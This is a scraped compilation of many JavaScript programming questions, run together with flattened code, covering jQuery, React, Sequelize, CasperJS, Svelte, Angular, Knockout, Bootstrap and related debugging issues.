explain what does this line of code means ? what later instantiation is it talking about and why do we need to set init 's prototype to jquery 's prototpe ? is there a reason ( like avoiding conflicts or readability or whatever ) that jQuery source code is using jQuery.fn instead of using jQuery.prototype directly ? // Give the init function the jQuery prototype for later instantiationjQuery.fn.init.prototype = jQuery.fn ;",understanding jquery source code - jquery.fn.init JS : I have the following snippet of code which gives me unterminated string literal errorI have looked unterminated string literal questionand found that it is because multiline problem.My { { form |bootstrap } } has multiple lines of code as mentioned in the question.So how do I handle the problem $ ( function ( ) { $ ( ' # addDropdown ' ) .click ( function ( ) { var $ d = $ ( ' { { form |bootstrap } } ' ) .fadeIn ( ) .delay ( 1000 ) ; $ ( ' # dropdownContainer ' ) .append ( $ d ) ; } ) ; } ) ;,unterminated string literal error for a django template tag "JS : BackgroundI am working on a Meteor app that uses ReactJS as the rendering library.Currently , I 'm having trouble with having a Child component re-render when data has been updated , even though the parent is accessing the updated data & supposedly passing it down to the child.The Parent component is a Table of Data . The Child component is a Click-to-edit date field.The way it ( theoretically ) works : Parent component passes the existing data for date into child component as a prop . Child component takes that existing props data , handles it & sets some states using it and then has 2 options : default : display dataif user clicks on data field : change to input & allow user to select date ( using react-datepicker ) , changing the state -- when user clicks outside of field , triggers a return to display only & saves the updated data from state to databaseI am using the child component twice per row in the table , and each time it is used , it needs access to the most current date data from the database . So if it the data is changed in one field , the second field should reflect that change.ProblemThe second field is not reflecting changes in the database unless I manually refresh the page and force the child component to render with the new data . The edited field is reflecting the data change , because it 's reflecting what 's stored in state.After reading React documentation , I am sure the problem is because the date is coming in as a prop , then being handled as a state -- and because the component is n't going to re-render from a prop change.My QuestionWhat do I do to fix this ? All of the reading I 've done of the docs has strongly recommended staying away from things like forceUpdate ( ) and getDerivedStateFromProps ( ) , but as a result I 'm not sure how to have data pass through the way that I want it to.Thoughts ? My CodeI 've abbreviated the code a little bit & removed variable names specific to my project , but I can provide more of the actual if it 'll help . I think my question is more conceptual than it is straight up debugging.ParentChild ( If this code/my explanation is rough , it 's because I 'm still a fairly beginner/low level developer . I do n't have formal training , so I 'm learning on the job while working on a pretty difficult app . As a solo developer . It 's a long story . Please be gentle ! ) ParentComponent ( ) { //Date comes as a prop from database subscription var date1 = this.props.dates.date1 var date2 = this.props.dates.date2 return ( < ChildComponent id='handle-date-1 ' selected= { [ date1 , date2 ] } / > < ChildComponent id='handle-date-2 ' selected= { [ date1 , date2 ] } / > ) } ChildComponent ( ) { constructor ( props ) { super ( props ) ; this.state = { date1 : this.props.selected [ 0 ] , date2 : this.props.selected [ 1 ] , field : false , } ; } handleDatePick ( ) { //Handles the event listeners for clicks in/out of the div , handles calling Meteor to update database . } renderDate1 ( ) { return ( < div > { this.state.field == false & & < p onClick= { this.handleClick } > { formatDate ( this.state.date1 ) } < /p > } { this.state.field == true & & < DatePicker selected= { this.state.date1 } startDate= { this.state.date1 } onChange= { this.handleDatePick } / > } < /div > ) } renderDate2 ( ) { return ( < div > { this.state.field == false & & < p onClick= { this.handleClick } > { formatDate ( this.state.date2 ) } < /p > } { this.state.field == true & & < DatePicker selected= { this.state.date2 } startDate= { this.state.date2 } onChange= { this.handleDatePick } / > } < /div > ) } render ( ) { return ( //conditionally calls renderDate1 OR renderDate2 ) } }","Ways to fix a child component that is not re-rendering ( due to change in data being passed in as props , not state ) ?" "JS : I am calling a thickbox when a link is clicked : And , when a server button is clicked I call this javascript function to show a jGrowl notification : Both works as expected except when the jGrowl is shown first than the thickbox . This will cause the thickbox not to work and the page will be shown as a normal web ( as if the thickbox had been gone ) .Does anyone know what is happening ? UPDATE : This is the a test page without Master Page : This is the codebehind : I have just tested it without the UpdatePanel and it worked perfectly . So , it is definitely a problem with the UpdatePanel or the way that it is interacting with the jGrowl called from the codebehind.I would massively appreciate your help guys.UPDATE : I have even created a demo project where this problem can be easily identified . Would n't mind to send it to anyone willing to help me out with this . Thanks in advance guys ! UPDATE : I have also tried the solution given by @ Rick , changing the way the jGrowl script is executed from codebehind : However , the problem persist since the outcome is exactly the same . Any other ideas ? I 'd massively appreciate your help.UPDATE : I have also tried this in IE8 and Chrome , facing the same problem . So , this is nothing to do with the browser . Just in case . < a href= '' createContact.aspx ? placeValuesBeforeTB_=savedValues & TB_iframe=true & height=400 & width=550 & modal=true '' title= '' Add a new Contact '' class= '' thickbox '' > Add a new Contact < /a > ScriptManager.RegisterClientScriptBlock ( this , typeof ( Page ) , Guid.NewGuid ( ) .ToString ( ) , `` $ ( function ( ) { $ .jGrowl ( 'No Contact found : `` + searchContactText.Text + `` ' ) ; } ) ; '' , true ) ; < % @ Page Language= '' C # '' AutoEventWireup= '' true '' CodeBehind= '' WebForm2.aspx.cs '' Inherits= '' RoutingPortal.Presentation.WebForm2 '' % > < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head runat= '' server '' > < title > < /title > < script src= '' ../Scripts/jquery-1.6.2.js '' type= '' text/javascript '' > < /script > < script src= '' ../Scripts/jquery-ui-1.8.16.custom.min.js '' type= '' text/javascript '' > < /script > < script src= '' ../Scripts/thickbox.js '' type= '' text/javascript '' > < /script > < script src= '' ../Scripts/jquery.jgrowl.js '' type= '' text/javascript '' > < /script > < link href= '' ../Scripts/css/jquery.jgrowl.css '' rel= '' stylesheet '' type= '' text/css '' / > < link rel= '' stylesheet '' href= '' ~/CSS/thickbox.css '' type= '' text/css '' media= '' screen '' / > < /head > < body > < form id= '' form1 '' runat= '' server '' > < asp : ScriptManager ID= '' ScriptManager1 '' runat= '' server '' > < /asp : ScriptManager > < asp : UpdatePanel ID= '' UpdatePanel1 '' runat= '' server '' > < ContentTemplate > < div > < a href= '' createContact.aspx ? placeValuesBeforeTB_=savedValues & TB_iframe=true & height=400 & width=550 & modal=true '' title= '' Add a new Contact '' class= '' thickbox '' > Add a new Contact < /a > < asp : Button ID= '' Button1 '' runat= '' server '' Text= '' Button '' OnClick= '' Button1_Click '' / > < /div > < /ContentTemplate > < /asp : UpdatePanel > < /form > < /body > < /html > namespace RoutingPortal.Presentation { public partial class WebForm2 : System.Web.UI.Page { protected void Page_Load ( object sender , EventArgs e ) { } protected void Button1_Click ( object sender , EventArgs e ) { ScriptManager.RegisterClientScriptBlock ( this.Page , typeof ( Page ) , Guid.NewGuid ( ) .ToString ( ) , `` $ ( function ( ) { $ .jGrowl ( 'My Message ' ) ; } ) ; '' , true ) ; } } } ScriptManager.RegisterStartupScript ( this.Page , typeof ( Page ) , Guid.NewGuid ( ) .ToString ( ) , `` $ .jGrowl ( 'My Message ' ) ; '' , true ) ;","When jGrowl is called , the thickbox stops working properly ( using UpdatePanel )" "JS : I was just playing around with JavaScript and got stuck with a simple program.I declared an array in JavaScript likeThen as there is no fixed size for an array in JavaScript and we can add more to the array , I added another integer to array.And as expected If I try to access a [ 4 ] I am definitely going to get it as undefined.Now , if I take an arrayAnd add another elementI have intentionally not defined a [ 3 ] , and this also gives me a [ 3 ] as undefined.Here is a fiddle where this can be observed : http : //jsfiddle.net/ZUrvM/Now , if I try the same thing in Java , Then I end up withYou can see this on ideone : https : //ideone.com/WKn6RfThe reason for this in Java I found is that the four variables are defined while declaring the array and we can only assign values to the declared size of array.But in JavaScript when I declare an array of size 3 and then add 5th element why does it not consider the 4th element to be null or 0 if we have increased the array size beyond 4 ? Why do I see this strange behavior in JavaScript , but not in other languages ? var a = [ 0 , 1 , 2 ] ; a [ 3 ] = 3 ; var a = [ 0,1,2 ] ; a [ 4 ] = 4 ; int [ ] a = new int [ 4 ] ; a [ 0 ] = 0 ; a [ 1 ] = 1 ; a [ 3 ] = 3 ; a [ 2 ] = 0 ;",What is the difference between non-initialized items in an array in JavaScript vs Java ? "JS : I 'm trying to build a simple example of many-to-many relation between tables using Sequelize . However , this seems to be way trickier than I expected.This is the code I have currently ( the ./db.js file exports the Sequelize connection instance ) .When running this I get : Can not add foreign key constraintI think that is because of the id type—however I have no idea why it appears and how we can fix it.Another error which appeared when the previous one wo n't appear was : Executing ( default ) : INSERT INTO menteequestions ( menteeId , questionId , createdAt , updatedAt ) VALUES ( 2,1 , '2017-03-17 06:18:01 ' , '2017-03-17 06:18:01 ' ) ; Error : mentee is not associated to menteequestion ! Also , another error I get—I think it 's because of force : true in sync—is : DROP TABLE IF EXISTS mentees ; ER_ROW_IS_REFERENCED : Can not delete or update a parent row : a foreign key constraint failsHow to solve these ? Again , I only need a minimal example of many-to-many crud operations ( in this case just insert and read ) , but this seems to be beyond my understanding . Was struggling for two days with this . const Sequelize = require ( `` sequelize '' ) ; const sequelize = require ( `` ./db '' ) ; var Mentee = sequelize.define ( 'mentee ' , { id : { type : Sequelize.INTEGER , primaryKey : true , autoIncrement : true } , name : { type : Sequelize.STRING } } ) ; var Question = sequelize.define ( 'question ' , { id : { type : Sequelize.INTEGER , primaryKey : true , autoIncrement : true } , text : { type : Sequelize.STRING } } ) ; var MenteeQuestion = sequelize.define ( 'menteequestion ' , { // answer : { // type : Sequelize.STRING// } } ) ; // A mentee can answer several questionsMentee.belongsToMany ( Question , { as : `` Questions '' , through : MenteeQuestion } ) ; // And a question can be answered by several menteesQuestion.belongsToMany ( Mentee , { as : `` Mentees '' , through : MenteeQuestion } ) ; let currentQuestion = null ; Promise.all ( [ Mentee.sync ( { force : true } ) , Question.sync ( { force : true } ) , MenteeQuestion.sync ( { force : true } ) ] ) .then ( ( ) = > { return Mentee.destroy ( { where : { } } ) } ) .then ( ( ) = > { return Question.destroy ( { where : { } } ) } ) .then ( ( ) = > { return Question.create ( { text : `` What is 42 ? '' } ) ; } ) .then ( question = > { currentQuestion = question ; return Mentee.create ( { name : `` Johnny '' } ) } ) .then ( mentee = > { console.log ( `` Adding question '' ) ; return mentee.addQuestion ( currentQuestion ) ; } ) .then ( ( ) = > { return MenteeQuestion.findAll ( { where : { } , include : [ Mentee ] } ) } ) .then ( menteeQuestions = > { return MenteeQuestion.findAll ( { where : { menteeId : 1 } , include : [ Mentee ] } ) } ) .then ( menteeQuestion = > { console.log ( menteeQuestion.toJSON ( ) ) ; } ) .catch ( e = > { console.error ( e ) ; } ) ;",Simple example of many-to-many relation using Sequelize "JS : I 'm unable to download a file stream from a web server using CasperJS : a form is posted to a urlurl returns a file streamSo far I have validated that the correct form values are posted.Casper error `` Unfortunately casperjs can not make cross domain ajax requests '' followed by `` XMLHttpRequest Exception 101 '' . After searching it states that settings the web security variable to false should make this work ... but it does n't . Anything else I should look into ? casperjs - v1.1.1phantomjs - v2.0.0 var casper = require ( 'casper ' ) .create ( { verbose : true , logLevel : 'debug ' , viewportSize : { width : 1440 , height : 800 } , pageSettings : { userName : '**** ' , password : '**** ' , webSecurityEnabled : false } , waitTimeout : 200000 } ) ; casper.start ( `` *** '' ) ; casper.then ( function ( ) { var exportForm = this.evaluate ( function ( ) { return $ ( `` # export_pdf_form '' ) .serialize ( ) ; } ) ; var exportAction = this.evaluate ( function ( ) { return $ ( `` # export_pdf_form '' ) .attr ( 'action ' ) ; } ) ; var url , file ; url = '*** ' + exportAction ; ( eg . https : //webserver/export ) file = `` export.pdf '' ; casper.page.settings.webSecurityEnabled = false ; casper.download ( url , fs.workingDirectory + '/ ' + file , `` POST '' , exportForm ) ; } ) ;",Download a file cross-domain in CasperJS "JS : I like how Ruby 's .tap method works . It lets you tap into any method chain without breaking the chain . I lets you operate an object then returns the object so that the methods chain can go on as normal . For example if you have foo = `` foobar '' .upcase.reverse , you can do : It will print the upcased ( but not reversed ) string and proceed with the reversing and assignment just like the original line.I would like to have a similar function in JS that would serve a single purpose : log the object to console.I tried this : Generally , it works ( though it outputs Number objects for numbers rather than their numeric values ) .But when i use some jQuery along with this , it breaks jQuery and stops all further code execution on the page.Errors are like this : Uncaught TypeError : Object foo has no method 'push'Uncaught TypeError : Object function ( ) { window.runnerWindow.proxyConsole.log ( `` foo '' ) ; } has no method 'exec ' Here 's a test case : http : //jsbin.com/oFUvehAR/2/edit ( uncomment the first line to see it break ) .So i guess that it 's not safe to mess with objects ' prototypes.Then , what is the correct way to do what i want ? A function that logs current object to console and returns the object so that the chain can continue . For primitives , it should log their values rather than just objects . `` foo = foobar '' .upcase.tap { |s| print s } .reverse Object.prototype.foo = function ( ) { console.log ( this ) ; return this ; } ;",A function to tap into any methods chain "JS : I am trying to add some styling to an HTML tag rendered inside of the { @ hml ... } tag of a Svelte component , but it appears that it only inherits the parent 's styling ( the container of the { @ html ... } tag ) . Moreover , the Unused CSS selector error pops up displaying that my styling selector for that specific HTML tag inside of the Svelte { @ html ... } tag merely does n't work . Is Svelte built that way and is there a method for styling tags that are rendered inside of the Svelte { @ html ... } tag ? I 've tried steps provided in the official Svelte tutorial , but they do n't clearly show how to do it.I want the h1 tag to be blue , not inherit the red color from the p tag < style > p { color : red ; } h1 { color : blue ; } < /style > < script > let string = `` < h1 > what < /h1 > '' ; < /script > < p > { @ html string } < /p > < p > no < /p >",Styling a { @ html ... } tag of a Svelte component by ising the in-component < style > tag ( Unused CSS selector ) "JS : I am currently working on a small aplication using Angular.JSIn my view i have following buttonthe editUser method looks something like this : Now the dialog is nicely shown and the answer function is also called , everything as expected . However , when I click the button a second time the editUser funciton is not executed . As if the onClick event from the button had been removed at dialog close . Any help on solving this problem is greatly appreciated , Thanks < md-button class= '' md-primary '' ng-click= '' editUser ( user , $ event ) '' > Edit < /md-button > $ scope.editUser = function ( user , $ event ) { $ scope.userToEdit = user ; $ mdDialog.show ( { controller : DialogController , targetEvent : $ event , templateUrl : '/js/modules/user/views/edit.tmpl.html ' , parent : angular.element ( document.body ) , clickOutsideToClose : true , scope : $ scope } ) . then ( function ( answer ) { if ( answer == `` save '' ) { for ( right in $ scope.allSystemRightsStatements ) { if ( $ scope.allSystemRightsStatements [ right ] .selected ) { if ( $ scope.userToEdit.rights==null ) { $ scope.userToEdit.rights = [ ] ; } $ scope.userToEdit.rights.push ( $ scope.allSystemRightsStatements [ right ] ) ; } } $ scope.updateUser ( $ scope.userToEdit ) ; } $ scope.userToEdit = { } ; } , function ( ) { $ scope.userToEdit = { } ; } ) ; } ; $ scope.updateUser = function ( user ) { //userService.updateUser makes a $ http PUT request var promise = userService.updateUser ( user ) ; promise.then ( function ( result ) { $ mdToast.show ( $ mdToast.simple ( result.message ) .position ( $ scope.getToastPosition ( ) ) .hideDelay ( 3000 ) ) ; } , function ( reason ) { $ mdToast.show ( $ mdToast.simple ( reason ) .position ( $ scope.getToastPosition ( ) ) .hideDelay ( 3000 ) ) ; } , function ( update ) { } ) ; } ;",Angular.JS onclick function only called on first click "JS : Probably every web developer is familiar with a pattern like this : But the question is - if there are multiple MSXML versions available on the client 's PC ( let 's say 3.0 , 5.0 , 6.0 ) , which one of them will be chosen by MSXML2.XMLHTTP call ( notice no version suffix at the end ) ? Will it be the latest or - not necessarily ? And a side-question - is it possible to check which version was chosen ? var xmlHttp = null ; if ( window.XMLHttpRequest ) { // If IE7 , Mozilla , Safari , and so on : Use native object . xmlHttp = new XMLHttpRequest ( ) ; } else { if ( window.ActiveXObject ) { // ... otherwise , use the ActiveX control for IE5.x and IE6 . xmlHttp = new ActiveXObject ( 'MSXML2.XMLHTTP ' ) ; } }","What version will be chosen by MSXML2.XMLHTTP request , without version suffix ?" "JS : Tiny modification to Jeffery 's code below helped me understand the arguments used in the inner anonymous function . I just changed the 3 lines belowThanks everyone Function.prototype.bind = function ( ) { var fn = this , args = Array.prototype.slice.call ( arguments ) , object = args.shift ( ) ; return function ( ) { return fn.apply ( object , args.concat ( Array.prototype.slice.call ( arguments ) ) ) ; } ; } ; var myObject = { } ; function myFunction ( ) { return this == myObject ; } assert ( ! myFunction ( ) , `` Context is not set yet '' ) ; var aFunction = myFunction.bind ( myObject ) assert ( aFunction ( ) , `` Context is set properly '' ) ; var introduce = function ( greeting ) { alert ( greeting + `` , my name is `` + this.name + `` , home no is `` + arguments [ 1 ] ) ; } hiBob ( `` 456 '' ) ; // alerts `` Hi , my name is Bob '' yoJoe ( `` 876 '' ) ;",Explaining some of John Resig 's ninja code "JS : I have this : What 's the more readable way to return the indexes of the nearest values to another variable ? For instance : With variable = 1 Should return { low : 3 , high : 1 } var scores= [ 0.7 , 1.05 , 0.81 , 0.96 , 3.2 , 1.23 ] ;",Return index of nearest values in an array "JS : I 'm trying server-side rendering for the first time in my React/Redux app . An issue I 'm having right now is that I need the initial state to have a randomly generated string and then pass it as a prop to my main App component . This is obviously causing an issue because it 's generating different strings for the client and server . Is there something I can do to stop this issue from happening ? Basic structure to help with understanding : App.jsAnd my reducer : reducer.jsAs you can see , I 'm getting the randomStr from my redux store and rendering it , but it is different in client and server . Any help would be appreciated ! import React from 'react ' ; import { connect } from 'react-redux ' ; const App = ( { randomStr } ) = > ( < div > < p > { randomStr } < /p > < /div > ) ; const mapStateToProps = ( state ) = > ( { ... } ) ; const mapDispatchToProp = ( dispatch ) = > ( { ... } ) ; export default connect ( mapStateToProps , mapDispatchToProps ) ( App ) ; import { generateString } from '../util ' ; import { NEW_STRING } from '../constants ' ; const stringReducer = ( state = generateString ( ) , action ) = > { switch ( action.type ) { case NEW_STRING : return generateString ( ) ; default : return state ; } } ; export default stringReducer ;",Server-side rendering with React with a randomly generated string ? "JS : I 'm looking to fit Google AdSense ads into a responsive design ( specifically using Twitter Bootstrap ) .The challenge is that with a responsive design the width of the container can change depending on the width of your browser window . While this is one of the major strengths for responsive design , it can be difficult to fit fixed-width content , like advertisements . For example , a given container may be 300px wide for users viewing the page with a browser at least 1200px wide . But in a 768px wide browser window , the same container might only be 180px wide.I 'm looking for JavaScript ( jQuery ? ) solution to load the largest ad format that fits the width of the container.Assume I have the following Ad Slots ( ad formats ) : Here 's the script that I need to include : And here 's some sample html : I 'd like to show the largest ad slot that fits in the given container.For example : If # adSlot1 is 300px wide , let 's show slot_300 ( or rather the id : 3456789012 along with its width and height in the AdSense JavaScript ) .Now let 's say you view the page on another device and # adSlot1 is now 480px wide . Now let 's use slot_336 . 1000px wide element ? Use slot_728 . Get it ? Note that it 's against Google 's TOS to render all different slots and merely .show ( ) / .hide ( ) depending on the width . Instead if the ad JavaScript is called , it must be visible on the page . ( Imagine how this would screw up everyone 's reports if hidden ads were counted as impressions ! ) I 'm also not so concerned with folks stretching and shrinking their browser window during a page view . But bonus points if there 's a savvy answer to this . Until then , this can load once per page load.What do you suggest is the best , most elegant way to accomplish this ? name width x height slot_idslot_180 180 x 160 1234567890slot_250 250 x 250 2345678901slot_300 300 x 250 3456789012slot_336 336 x 280 4567890123slot_728 728 x 90 5678901234 < script type= '' text/javascript '' > < ! -- google_ad_client = `` ca-ABCDEFGH '' ; google_ad_slot = `` [ # # # slot_id # # # ] '' ; google_ad_width = [ # # # width # # # ] ; google_ad_height = [ # # # height # # # ] ; // -- > < /script > < script type= '' text/javascript '' src= '' http : //pagead2.googlesyndication.com/pagead/show_ads.js '' > < /script > ' ; < body > < div class= '' row '' > < div class= '' span3 '' > < p > Lorem ipsum < /p > < /div > < div class= '' span3 '' id= '' adSlot1 '' > < ! -- [ # # # INSERT AD 1 HERE # # # ] -- > < /div > < div class= '' span3 '' > < p > Lorem ipsum < /p > < /div > < div class= '' span3 '' > < p > Lorem ipsum < /p > < /div > < /div > < div class= '' row '' > < div class= '' span4 '' id= '' adSlot2 '' > < ! -- [ # # # INSERT AD 2 HERE # # # ] -- > < /div > < div class= '' span4 '' > < p > Lorem ipsum < /p > < /div > < div class= '' span4 '' id= '' adSlot3 '' > < ! -- [ # # # INSERT AD 3 HERE # # # ] -- > < /div > < /div > < /body >",What is the best way to render the largest ad slot that fits into its container when using a responsive design ? "JS : Given array [ { GUID , other properties } , ... ] , How can I remove a specific object from a javascript array by its GUID ( or any object property ) ? I 'm trying to use splice ( ) , This wo n't work because I ca n't directly identify the value in the array , as such : Shown here : How do I remove a particular element from an array in JavaScript ? var index = game.data.collectedItems.indexOf ( entityObj.GUID ) ; if ( index > -1 ) { game.data.collectedItems.splice ( index , 1 ) ; } var array = [ 2 , 5 , 9 ] ; var index = array.indexOf ( 5 ) ;","How to remove a specific Object from an array of Objects , by object 's property ?" "JS : I 've been trying to track down any issues with garbage collection within my application code . I 've stripped it down to pure knockout code and there seems to be an issue collecting created objects depending on how a computed property is created.Please see the following JS fiddle : http : //jsfiddle.net/SGXJG/Open Chrome profiler.Take a heap snapshotClick Make AllTake another heap snapshotCompare the snapshotsTest2 & Test3 still remain in memory while Test1 is correctly collected.Please see the following code for the viewmodel : And here are the three tests classes : The difference being that Test1 'three ' computed does not use this or self to reference the 'one ' & 'two ' observable properties . Can someone explain what 's happening here ? I guess there 's something in the way the closures contain the object reference but I do n't understand whyHopefully I 've not missed anything . Let me know if I have and many thanks for any responses . function ViewModel ( ) { this.test1 = null ; this.test2 = null ; this.test3 = null ; } ViewModel.prototype = { makeAll : function ( ) { this.make1 ( ) ; this.make2 ( ) ; this.make3 ( ) ; } , make1 : function ( ) { this.test1 = new Test1 ( ) ; this.test1.kill ( ) ; delete this.test1 ; } , make2 : function ( ) { this.test2 = new Test2 ( ) ; this.test2.kill ( ) ; delete this.test2 ; } , make3 : function ( ) { this.test3 = new Test3 ( ) ; this.test3.kill ( ) ; delete this.test3 ; } , } ; ko.applyBindings ( new ViewModel ( ) ) ; function Test1 ( ) { var one = this.one = ko.observable ( ) ; var two = this.two = ko.observable ( ) ; this.three = ko.computed ( function ( ) { return one ( ) & & two ( ) ; } ) ; } Test1.prototype = { kill : function ( ) { this.three.dispose ( ) ; } } ; function Test2 ( ) { this.one = ko.observable ( ) ; this.two = ko.observable ( ) ; this.three = ko.computed ( function ( ) { return this.one ( ) & & this.two ( ) ; } , this ) ; } Test2.prototype = { kill : function ( ) { this.three.dispose ( ) ; } } ; function Test3 ( ) { var self = this ; self.one = ko.observable ( ) ; self.two = ko.observable ( ) ; self.three = ko.computed ( function ( ) { return self.one ( ) & & self.two ( ) ; } ) ; self.kill = function ( ) { self.three.dispose ( ) ; } ; }",Knockout ViewModel computed garbage collection JS : Is there a way in eslint to set the sourceType within the file similar to the rules and environment settings ? Something likedoes not seen work /*eslint sourceType : `` module '' */,eslint - how to set the sourceType for a specific file "JS : I am trying to override the button click event for autoform-remove-item button as shown below , as I am trying to show a warning message ( before ) the user can remove any item in the Autoform array . Then if the user confirmed the item removal then the button click event shall continue normally . But I ca n't figure out how to override the click event of the button in a way to pause code below it ( which I have no access to ) until the user confirm / reject the deletion ? Any help what I might be missing here ? ThanksThe click event I am trying to override : Template.salesInvoice.events ( { 'click .autoform-remove-item ' : function ( e ) { e.preventDefault ( ) ; bootbox.dialog ( { message : `` Are you sure you wish to delete this item ? `` , title : `` New Journal '' , buttons : { eraseRecord : { label : `` Yes ! `` , className : `` btn-danger '' , callback : function ( ) { } } , doNotEraseRecord : { label : `` No ! `` , className : `` btn-primary '' , callback : function ( ) { //Continue with the normal button click event } } } } ) ; } } ) ; 'click .autoform-remove-item ' : function autoFormClickRemoveItem ( event , template ) { var self = this ; // This type of button must be used within an afEachArrayItem block , so we know the context event.preventDefault ( ) ; var name = self.arrayFieldName ; var minCount = self.minCount ; // optional , overrides schema var maxCount = self.maxCount ; // optional , overrides schema var index = self.index ; var data = template.data ; var formId = data & & data.id ; var ss = AutoForm.getFormSchema ( formId ) ; // remove the item we clicked arrayTracker.removeFromFieldAtIndex ( formId , name , index , ss , minCount , maxCount ) ; } ,",Meteor override the click event of an element in a package "JS : I am busy writing some helper functions for my fellow developers in-office who is n't too familiar with Bootstrap - which takes basic html and creates bootstrap layouts for them.In this case , I am trying to make a justified horizontal list of radio buttons.A example is : I execute some JQuery inside the typescript file linked to this page - and the code reads : Which produces : On the page , this seems fine . The issue I have however , is the data-toggle='buttons ' part - it tells me that bootstrap runs some code in order to initialise the list of radio buttons - and it does n't seem to play nice with dynamically created button-groups.My attempt to reinitialise the button group does n't work . Radio Buttons still remain static - does n't swap out 'active ' on the label , and 'checked ' on the input.The spoopier part is : I can not reproduce my issue on JSFiddle using identical code ! it works as expected on JSFiddle : JSFiddleHow can I force a re-initialisation of a dynamically-created button-group ? < fieldset data-type= '' horizontal '' data-bootstrap= '' radiogroup '' > < label > < input type= '' radio '' name= '' g1 '' value= '' default '' data-bind= '' checked : true '' / > Recent < /label > < label > < input type= '' radio '' name= '' g1 '' value= '' order '' data-bind= '' checked : false '' / > By Number < /label > < label > < input type= '' radio '' name= '' g1 '' value= '' advanced '' data-bind= '' checked : false '' / > Advanced < /label > < /fieldset > function layoutUnwrappedBootstrapControls ( ) { $ ( `` * [ data-bootstrap='radiogroup ' ] '' ) .each ( ( index , element ) = > { var listOfRadioButtons = $ ( element ) .find ( 'label ' ) .clone ( ) ; $ ( element ) .children ( ) .remove ( ) ; $ ( element ) .append ( `` < div class='btn-group col-lg-12 col-md-12 col-sm-12 col-xs-12 clearfix ' data-toggle='buttons ' > < /div > '' ) ; $ ( element ) .children ( `` : first '' ) .append ( listOfRadioButtons ) .find ( `` label '' ) .addClass ( `` btn btn-primary '' ) .css ( `` width '' , ( 100 / listOfRadioButtons.length ) + ' % ' ) ; $ ( element ) .children ( `` : first '' ) .button ( ) .button ( 'refresh ' ) ; // < the issue } ) ; } < div class= '' btn-group col-lg-12 col-md-12 col-sm-12 col-xs-12 clearfix '' data-toggle= '' buttons '' > < label class= '' btn btn-primary '' style= '' width : 33.3333 % ; '' > < input type= '' radio '' name= '' g1 '' value= '' default '' data-bind= '' checked : true '' data-mini= '' true '' data-theme= '' h '' id= '' tz15 '' checked= '' checked '' > Recent < /label > < label class= '' btn btn-primary '' style= '' width : 33.3333 % ; '' > < input type= '' radio '' name= '' g1 '' value= '' order '' data-bind= '' checked : false '' data-mini= '' true '' data-theme= '' h '' id= '' tz16 '' > By Number < /label > < label class= '' btn btn-primary '' style= '' width : 33.3333 % ; '' > < input type= '' radio '' name= '' g1 '' value= '' advanced '' data-bind= '' checked : false '' data-mini= '' true '' data-theme= '' h '' id= '' tz17 '' > Advanced < /label > < /div >",Initialising a dynamically-created btn-group of radio buttons "JS : Let 's say , I have an array of promises , each element beign an AJAX call for an image ( png ) of a view.Is there any possibility to check current status of promise resolution using Promise.all ? If not , is there any other way ? For example , if 10 / 20 images were downloaded , I would like to give user a feedback , that we have downloaded 50 % images for him . const images = Promise.all ( views.map ( view = > { return fetch ( ` /sites/ $ { siteId } /views/ $ { view.id } /image/ ` ) ; } ) ) ;",JavaScript Promise.all - how to check resolve status ? "JS : I was reading the 'learning Node ' book and I was stuck in a very simple issue , one that I have n't given too much thought about : assignment in javascript.The author states that we should realize that by using the Node 's REPL , the following would return undefined : while the code below will return ' 2 ' in the REPL : why is that ? the code right above is not an attribution ? how come ? If the var ' a ' has n't existed until that point in the code , how come it is not and attribution ? var a = 2 ( undefined ) a = 22",assignment in javascript and the var keyword "JS : working with html templates . code-wise , it 's difficult to keep the right set of templates with each html file.is it possible to have a file of template ( s ) , much like a file of css , that one includes in the head section of the html file ? for example , to supplement the style section in head , one can link to a stylesheet , eg , my app uses several collections of templates . can they be handled similar to stylesheets , ie , linked to in a separate file , or does each template definition need to be directly part of the original html file ? < link rel= '' stylesheet '' type= '' text/css '' href= '' mystyle.css '' >",can one include ` templates ` in a html file similar to css ? "JS : I have a need to monitor the state of the Shift key , whether it is up or down . Its purpose is to notify the user that while the shift key is held down , the drag and drop operation they are about to perform is going to COPY the node ( s ) , and not move them.I have it working perfectly with the code below , however , if I hold the Shift key and perform the drag and drop , the hook no longer exists ; the screen no longer responds to the key press and remains in the `` pressed '' state.I 'm guessing there is either an order of operations issue or a missing piece . Javascript expers please advise.Thanks ! < form id= '' form1 '' runat= '' server '' > < div > < table > < tr > < td valign= '' top '' > < ASP : Literal id= '' treeLeft '' EnableViewState= '' false '' runat= '' server '' / > < /td > < /tr > < /table > < asp : Label ID= '' lblCopyEnabled '' runat= '' server '' BackColor= '' Green '' Text= '' Item will be Copied '' ForeColor= '' White '' Font-Bold= '' true '' style= '' padding : 0px 10px 0px 10px ; display : none '' / > < /div > < script type= '' text/javascript '' > document.onkeydown = KeyDownHandler ; document.onkeyup = KeyUpHandler ; var SHIFT = false ; function KeyDownHandler ( e ) { var x = `` ; if ( document.all ) { var evnt = window.event ; x = evnt.keyCode ; } else { x = e.keyCode ; } DetectKeys ( x , true ) ; ShowReport ( ) ; } function KeyUpHandler ( e ) { var x = `` ; if ( document.all ) { var evnt = window.event ; x = evnt.keyCode ; } else { x = e.keyCode ; } DetectKeys ( x , false ) ; ShowReport ( ) ; } function DetectKeys ( KeyCode , IsKeyDown ) { if ( KeyCode == '16 ' ) { SHIFT = IsKeyDown ; } else { if ( IsKeyDown ) CHAR_CODE = KeyCode ; else CHAR_CODE = -1 ; } } function ShowReport ( ) { var copyLabel = document.getElementById ( `` < % = lblCopyEnabled.ClientID % > '' ) ; if ( SHIFT ) { copyLabel.style.display = `` inline '' ; ob_copyOnNodeDrop = true ; } else { copyLabel.style.display = `` none '' ; ob_copyOnNodeDrop = false ; } } < /script > < /form >",Binding javascript keypress events "JS : In following example : test.htmltest1.htmlscript1.jshappen that fn testFn executes 4 times . I expected to see just 2 logs in console . Even , if I remove there are 2 logs , not just one . What did I wrong ? UPDATED : angular.jstest.htmlconsole < ! DOCTYPE html > < html ng-app ng-controller= '' AppController '' > < head > < script type= '' text/javascript '' src= '' angular.js '' > < /script > < script type= '' text/javascript '' src= '' script1.js '' > < /script > < /head > < body > < div ng-include= '' 'test1.html ' '' > < /div > { { testFn ( ) } } < /body > < /html > < div > { { testFn ( ) } } < /div > function AppController ( $ scope ) { $ scope.testFn = function ( ) { console.log ( `` TestFn '' ) ; return `` test '' ; } } < div ng-include= '' 